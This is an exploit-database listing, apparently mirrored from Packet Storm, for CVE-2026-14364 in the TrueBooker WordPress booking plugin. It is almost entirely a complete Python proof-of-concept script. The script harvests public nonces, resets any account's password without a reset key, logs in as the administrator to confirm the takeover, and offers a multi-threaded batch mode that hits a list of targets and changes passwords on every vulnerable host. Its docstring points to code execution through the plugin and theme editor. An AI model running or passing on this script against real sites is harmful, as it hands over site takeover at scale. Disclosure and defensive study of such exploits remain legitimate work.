Lucene search
+L

📄 TrueBooker 1.2.3 Unauthenticated Password Reset

🗓️ 10 Aug 2026 00:00:00Reported by 1dayexploitType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 23 Views

Proof of concept exploit for unauthenticated password reset in TrueBooker 1.2.3 plugin enabling admin takeover and possible RCE.

Related
Code
#!/usr/bin/env python3
    """
    CVE-2026-14364 - TrueBooker unauthenticated arbitrary password reset (CWE-640)
    Affected: WordPress plugin "TrueBooker - Appointment Booking and Scheduler System"
              (slug: truebooker-appointment-booking) <= 1.2.3, fixed in 1.2.4
    Type: Auth bypass / account takeover (unauthenticated)
    
    The AJAX action `user_front_resetpass` is registered for `nopriv` callers and hands the
    target user id, reset key and new password straight to `truebookerMyaccount::userresetPassword()`.
    The whole reset-key validation lives inside `if (!empty($key))`, where `$key` is the target's
    `user_activation_key` column. That column is empty for every account that is not in the middle
    of a reset flow, so for a normal account the branch is skipped, no error is recorded, and
    control falls through to `wp_set_password($tbabpassword, $user_id)` with the user id taken
    verbatim from the attacker's `tbab-userid` field. The two nonces guarding the endpoint are
    plain CSRF tokens minted for user id 0 and printed on public pages, so they are harvestable
    anonymously and are not authorisation.
    
    Reset any account by id, then log in as it. Against the primary administrator (id 1) this is
    full site takeover, and on WordPress that reaches RCE through the plugin/theme editor.
    
    WARNING: this exploit is inherently destructive. Confirming the bug requires actually setting
    the target's password, because the vulnerable and patched builds only diverge after the write.
    There is no non-destructive discriminator. That applies to --list scan mode too: every
    vulnerable host in the list has the password of user --userid changed.
    
    Usage:
      python exploit.py --host 192.168.1.10 --port 8080
      python exploit.py --host https://target.com --username admin
      python exploit.py --host https://target.com:8443/blog --userid 2
      python exploit.py --host 10.0.0.5 --port 8080 --new-password 'Chosen_Pass_123'
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import json
    import re
    import secrets
    import sys
    from urllib.parse import urlencode, urlparse
    
    import requests
    
    try:
        import urllib3
        urllib3.disable_warnings()
    except Exception:
        pass
    
    CVE_ID    = "CVE-2026-14364"
    VULN_TYPE = "Auth Bypass / Account Takeover"
    
    AJAX_ACTION   = "user_front_resetpass"
    MYACCOUNT_QS  = "/?pagename=tbab-my-account"
    ADMIN_AJAX    = "/wp-admin/admin-ajax.php"
    LOGIN_PATH    = "/wp-login.php"
    ADMIN_PATH    = "/wp-admin/"
    DEFAULT_UA    = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
    TIMEOUT       = 15
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Core primitives - pure network I/O, no assumptions about the target's host  #
    # --------------------------------------------------------------------------- #
    
    def build_base(host: str, port: int, use_tls: bool, path: str = "/") -> str:
        """Assemble the WordPress root URL. `path` allows a subdirectory install."""
        scheme = "https" if use_tls else "http"
        default_port = 443 if use_tls else 80
        netloc = host if port == default_port else f"{host}:{port}"
        prefix = (path or "/").rstrip("/")
        return f"{scheme}://{netloc}{prefix}"
    
    
    def gen_password() -> str:
        """Run-unique password so a rerun against an already-owned host cannot pass on a
        stale credential and look like a success it did not earn."""
        return "Alim_" + secrets.token_hex(6) + "_Pw1"
    
    
    def harvest_nonces(base: str, timeout: int = TIMEOUT) -> tuple:
        """Fetch the plugin's my-account page anonymously and pull both nonces out of it.
    
        Returns (action_nonce, meta_nonce). Either may be None if not present.
        Both must be harvested with no WordPress cookies attached, so they are computed for
        user id 0 and validate on the anonymous exploit request that follows.
        """
        r = requests.get(base + MYACCOUNT_QS, timeout=timeout, verify=False,
                         headers={"User-Agent": DEFAULT_UA}, allow_redirects=True)
        html = r.text
    
        # truebooker_nonce_action, inlined by wp_localize_script as ajax_object.nonce
        action_nonce = None
        blk = re.search(r"ajax_object\s*=\s*(\{.*?\})\s*;", html, re.S)
        if blk:
            m = re.search(r'"nonce"\s*:\s*"([0-9a-zA-Z]{6,20})"', blk.group(1))
            if m:
                action_nonce = m.group(1)
        if not action_nonce:
            m = re.search(r'"nonce"\s*:\s*"([0-9a-f]{8,12})"', html)
            if m:
                action_nonce = m.group(1)
    
        # truebooker_meta_box_nonce, emitted by wp_nonce_field in the reset/login templates
        meta_nonce = None
        for pattern in (
            r'truebooker_meta_box_noncename"[^>]*?value="([0-9a-zA-Z]{6,20})"',
            r'value="([0-9a-zA-Z]{6,20})"[^>]*?name="truebooker_meta_box_noncename"',
        ):
            m = re.search(pattern, html)
            if m:
                meta_nonce = m.group(1)
                break
    
        return action_nonce, meta_nonce
    
    
    def reset_password(base: str, action_nonce: str, meta_nonce: str, userid: int,
                       new_password: str, timeout: int = TIMEOUT):
        """Fire the unauthenticated reset. Returns (http_status, raw_body, parsed_json_or_None).
    
        `alldata` is a query string nested inside a form field: the handler does
        parse_str($_POST['alldata'], $searcharray) and never reads $_POST directly, so the
        inner string is built first and URL-encoded exactly once as the value of `alldata`.
        `tbab-activekey` is sent explicitly empty - omitting it still exploits but raises a
        PHP 8 "Undefined array key" notice that can precede the JSON body.
        """
        inner = urlencode([
            ("truebooker_meta_box_noncename", meta_nonce or ""),
            ("tbab-userid", str(userid)),
            ("tbab-activekey", ""),
            ("tbab-password", new_password),
            ("tbab-password-1", new_password),
        ])
        payload = {"action": AJAX_ACTION, "security": action_nonce or "", "alldata": inner}
    
        r = requests.post(base + ADMIN_AJAX, data=payload, timeout=timeout, verify=False,
                          headers={"User-Agent": DEFAULT_UA,
                                   "Content-Type": "application/x-www-form-urlencoded"})
        body = r.text
        parsed = None
        brace = body.find("{")
        if brace != -1:
            try:
                parsed = json.loads(body[brace:])
            except ValueError:
                parsed = None
        return r.status_code, body, parsed
    
    
    def try_login(base: str, username: str, password: str, timeout: int = TIMEOUT) -> tuple:
        """Authenticate at /wp-login.php. Returns (ok, cookie_name, session_or_None).
    
        Success is a 302 carrying a `wordpress_logged_in_*` cookie. That cookie is the
        unambiguous, network-observable proof of takeover.
        """
        s = requests.Session()
        s.headers.update({"User-Agent": DEFAULT_UA})
        s.cookies.set("wordpress_test_cookie", "WP Cookie check")
        data = {
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": base + ADMIN_PATH,
            "testcookie": "1",
        }
        try:
            r = s.post(base + LOGIN_PATH, data=data, timeout=timeout, verify=False,
                       allow_redirects=False)
        except requests.RequestException:
            return False, None, None
    
        for name in r.cookies.keys():
            if name.startswith("wordpress_logged_in_"):
                return True, name, s
        return False, None, None
    
    
    def fetch_dashboard(session, base: str, timeout: int = TIMEOUT) -> tuple:
        """Follow the session into /wp-admin/. Returns (ok, snippet)."""
        try:
            r = session.get(base + ADMIN_PATH, timeout=timeout, verify=False,
                            allow_redirects=False)
        except requests.RequestException as e:
            return False, f"request failed: {e.__class__.__name__}"
        if r.status_code != 200:
            return False, f"HTTP {r.status_code} (redirected back to login - session invalid)"
    
        title = re.search(r"<title>(.*?)</title>", r.text, re.S)
        howdy = re.search(r"Howdy,\s*(?:<span[^>]*>)?\s*([^<\r\n]{1,60})", r.text)
        bits = []
        if title:
            bits.append("title: " + title.group(1).strip())
        if howdy:
            bits.append("greeting: Howdy, " + howdy.group(1).strip())
        if not bits:
            bits.append(f"HTTP 200, {len(r.text)} bytes of wp-admin markup")
        return True, " | ".join(bits)
    
    
    def resolve_userid(base: str, username: str, timeout: int = TIMEOUT):
        """Best-effort id lookup via the public REST user route. Returns int or None."""
        try:
            r = requests.get(base + "/wp-json/wp/v2/users", timeout=timeout, verify=False,
                             params={"per_page": 100}, headers={"User-Agent": DEFAULT_UA})
            users = r.json()
        except Exception:
            return None
        if not isinstance(users, list):
            return None
        for u in users:
            if not isinstance(u, dict):
                continue
            if username in (u.get("slug"), u.get("name")):
                try:
                    return int(u.get("id"))
                except (TypeError, ValueError):
                    return None
        return None
    
    
    def error_text(parsed) -> str:
        """Flatten the handler's error_message map into one readable line."""
        if not isinstance(parsed, dict):
            return ""
        err = parsed.get("error_message")
        if isinstance(err, dict) and err:
            return "; ".join(f"{k}: {v}" for k, v in err.items())
        return ""
    
    
    # --------------------------------------------------------------------------- #
    #  Scan mode                                                                   #
    # --------------------------------------------------------------------------- #
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                     userid: int = 1, username: str = "admin",
                     new_password: str = None, timeout: int = TIMEOUT) -> tuple:
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        base = build_base(host, port, use_tls, path)
        pw = new_password or gen_password()
        try:
            action_nonce, meta_nonce = harvest_nonces(base, timeout)
            if not action_nonce or not meta_nonce:
                missing = []
                if not action_nonce:
                    missing.append("truebooker_nonce_action")
                if not meta_nonce:
                    missing.append("truebooker_meta_box_nonce")
                return False, "nonce harvest failed (" + ", ".join(missing) + ") - plugin likely absent"
    
            status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
            if body.strip() == "-1":
                return False, "admin-ajax rejected the security nonce (HTTP %d)" % status
            if body.strip() == "0":
                return False, "action not routed - plugin inactive"
            if not isinstance(parsed, dict) or "successmessage" not in parsed:
                reason = error_text(parsed) or ("unexpected body: " + body[:80].replace("\n", " "))
                return False, "blocked - " + reason
    
            ok, cookie_name, session = try_login(base, username, pw, timeout)
            if not ok:
                return False, "reset accepted but login as '%s' failed - id %d may not be that user" % (username, userid)
            return True, "password of user id %d reset, logged in as '%s' (%s)" % (userid, username, cookie_name)
        except requests.RequestException as e:
            return False, "unreachable (%s)" % e.__class__.__name__
        except Exception as e:
            return False, "error (%s: %s)" % (e.__class__.__name__, e)
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             userid: int = 1, username: str = "admin", new_password: str = None,
             timeout: int = TIMEOUT) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        # Dedupe: the same host written two ways (bare and as a URL) would otherwise be
        # exploited by two threads at once, each setting its own password, and whichever
        # reset lands second makes the other thread's login fail - a false negative.
        seen = set()
        unique = []
        for t in targets:
            if t not in seen:
                seen.add(t)
                unique.append(t)
        dropped = len(targets) - len(unique)
        targets = unique
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"  DESTRUCTIVE: on every vulnerable host, user id {userid} gets a new password")
        if dropped:
            print(f"  ({dropped} duplicate target line(s) collapsed)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path, userid, username,
                                        new_password, timeout)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Single-target exploit                                                       #
    # --------------------------------------------------------------------------- #
    
    def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
                userid, new_password: str, timeout: int) -> None:
        header(host, port)
        base = build_base(host, port, use_tls, path)
        pw = new_password or gen_password()
    
        step(1, f"Harvesting anonymous nonces from {base}{MYACCOUNT_QS}")
        try:
            action_nonce, meta_nonce = harvest_nonces(base, timeout)
        except requests.RequestException as e:
            done(False, f"Target unreachable: {e.__class__.__name__}: {e}")
        if not action_nonce or not meta_nonce:
            section("HARVEST RESULT",
                    f"truebooker_nonce_action  = {action_nonce}\n"
                    f"truebooker_meta_box_nonce = {meta_nonce}")
            done(False, "Could not harvest both nonces - TrueBooker is probably not installed "
                        "or the [truebooker-myaccount] page is missing")
        section("HARVESTED NONCES",
                f"truebooker_nonce_action   = {action_nonce}\n"
                f"truebooker_meta_box_nonce = {meta_nonce}")
    
        step(2, f"Resolving target user id for '{username}'")
        if userid is None:
            resolved = resolve_userid(base, username, timeout)
            if resolved is not None:
                userid = resolved
                print(f"         resolved via /wp-json/wp/v2/users -> id {userid}")
            else:
                userid = 1
                print(f"         REST enumeration unavailable, assuming id {userid} "
                      f"(the installer's primary administrator)")
        else:
            print(f"         using operator-supplied id {userid}")
    
        step(3, f"Baseline: confirming '{pw}' is NOT already a valid password for '{username}'")
        pre_ok, _, _ = try_login(base, username, pw, timeout)
        if pre_ok:
            done(False, "The generated password already authenticates before the exploit ran - "
                        "cannot attribute a later login to the vulnerability")
        print("         rejected as expected, so any later login is caused by our reset")
    
        step(4, f"Sending unauthenticated reset for user id {userid} with an EMPTY tbab-activekey")
        try:
            status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
        except requests.RequestException as e:
            done(False, f"Reset request failed: {e.__class__.__name__}: {e}")
        section(f"ADMIN-AJAX RESPONSE (HTTP {status})", body[:1200])
    
        if body.strip() == "-1":
            done(False, "check_ajax_referer rejected the 'security' nonce - re-harvest it and "
                        "make sure no WordPress cookies were sent")
        if body.strip() == "0":
            done(False, f"admin-ajax did not route action '{AJAX_ACTION}' - plugin inactive")
        if not isinstance(parsed, dict) or "successmessage" not in parsed:
            reason = error_text(parsed)
            if "key is invalid" in reason:
                done(False, "Reset refused with 'key is invalid' - the target is PATCHED (1.2.4+ "
                            "treats an empty user_activation_key as failure), or a reset is already "
                            "pending for this account")
            done(False, f"No successmessage in response - {reason or 'unexpected body'}")
        print(f"         handler reported: {parsed.get('successmessage')}")
    
        step(5, f"Authenticating as '{username}' with the attacker-chosen password")
        ok, cookie_name, session = try_login(base, username, pw, timeout)
        if not ok:
            done(False, f"Reset was accepted but login as '{username}' failed - user id {userid} "
                        f"is probably a different account (try --username / --userid)")
        section("SESSION COOKIE", f"{cookie_name} issued by {base}{LOGIN_PATH}")
    
        step(6, "Confirming the session by loading /wp-admin/")
        dash_ok, snippet = fetch_dashboard(session, base, timeout)
        section("WP-ADMIN RESPONSE", snippet)
    
        creds = f"{username} / {pw}"
        if dash_ok:
            done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
                       f"without any token; logged in ({cookie_name}) and loaded /wp-admin/. "
                       f"Credentials now: {creds}")
        done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
                   f"without any token; {cookie_name} issued at login. wp-admin: {snippet}. "
                   f"Credentials now: {creds}")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} exploit PoC - TrueBooker <= 1.2.3 unauthenticated password reset",
            epilog="DESTRUCTIVE: the target account's password is permanently changed.")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/blog)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
        parser.add_argument("--username", default="admin",
                            help="Target account to authenticate as without credentials (default: admin)")
        parser.add_argument("--userid", type=int, default=None,
                            help="Numeric WordPress user id to reset (default: resolve --username via "
                                 "the REST API, falling back to 1)")
        parser.add_argument("--new-password", default=None,
                            help="Password to set (default: a fresh run-unique one, min 5 chars)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        parser.add_argument("--timeout", type=int, default=TIMEOUT, help=f"Per-request timeout (default: {TIMEOUT})")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.new_password is not None and len(args.new_password) < 5:
            parser.error("--new-password must be at least 5 characters (the handler enforces this)")
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 userid=args.userid if args.userid is not None else 1,
                 username=args.username, new_password=args.new_password, timeout=args.timeout)
        else:
            parsed_target = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed_target if parsed_target else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.username, args.userid,
                    args.new_password, args.timeout)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.19.8
EPSS0.00285
SSVC
23